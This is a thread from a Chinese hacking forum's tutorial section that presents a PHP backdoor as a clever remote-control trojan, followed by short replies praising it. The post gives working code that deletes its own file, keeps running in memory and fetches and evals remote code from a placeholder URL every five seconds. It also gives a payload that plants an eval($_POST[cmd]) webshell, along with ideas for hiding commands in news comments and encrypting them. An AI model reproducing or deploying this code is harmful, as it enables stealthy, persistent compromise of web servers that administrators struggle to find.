请选择 进入手机版 | 继续访问电脑版
查看: 5344|回复: 183

[教程专区] 非常淫荡的PHP后门【必须加精华】

[复制链接]
  • TA的每日心情
    无聊
    2016-10-24 08:48
  • 签到天数: 9 天

    [LV.3]偶尔看看II

    发表于 2015-12-30 17:56:52 | 显示全部楼层 |阅读模式
    [PHP] 纯文本查看 复制代码
    <P> <?php
    unlink($_SERVER['SCRIPT_FILENAME']);
    ignore_user_abort(true);
    set_time_limit(0);
    $remote_file = 'http://xxx/xxx.txt';
    while($code = file_get_contents($remote_file)){
      @eval($code);
      sleep(5);
    };
    ?></P>


    后门的代码第一行删除自身,然后驻留在后台内存里(关于ignore_user_abort函数,百度一下),等待外部链接

    在xxx.txt中写入你的后门代码,访问后就会删除自己并循环执行txt的代码


    例如txt里面写了一句这样的代码 file_put_contents('./1.php',"<?php @eval($_POST[cmd])'"?>");


    这样就会在目录下又生成一个木马


    如果对方写了是执行命令 。。。

    这段代码纯粹变成了一个等待命令的木马。。


    而且管理员检查木马文件的时候  都找不到。。。


    因为文件已经删除了



    木马却注入在php-fpm内


    sleep(5);  五秒就去远程读取一下指令。。。

    ........

    打算将代码修改一下,加一些正则,去163某一篇新闻的评论里读取预先设定的恶意代码。。。hehe。。。


    黑客连服务器都省了。。。



    黑客只需要去网易新闻评论窗口内写入自己的代码就行


    怕别人看懂?


    直接加密


    采用对称加密算法。。没有秘钥 谁也看不懂啥意思


    秘钥在这段后门里面写着


    所以非常安全



    活生生就是一个远控木马啊!!

    这么好的思路,给作者一个大赞

    我哩个去,本文转自某安全论坛!{某科}

    评分

    参与人数 1i币 +1 收起 理由
    1210 + 1 感谢分享

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 19:12:30 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

    发表于 2015-12-31 09:53:05 | 显示全部楼层
    额,然后呢?就能加精?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2016-1-1 07:27:08 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-1-1 13:10:41 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-1-1 15:54:46 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2020-1-10 03:16
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-1-1 22:01:00 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-2-12 22:05
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2016-1-1 22:22:31 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-1-2 04:41:01 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-1-2 10:00:05 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表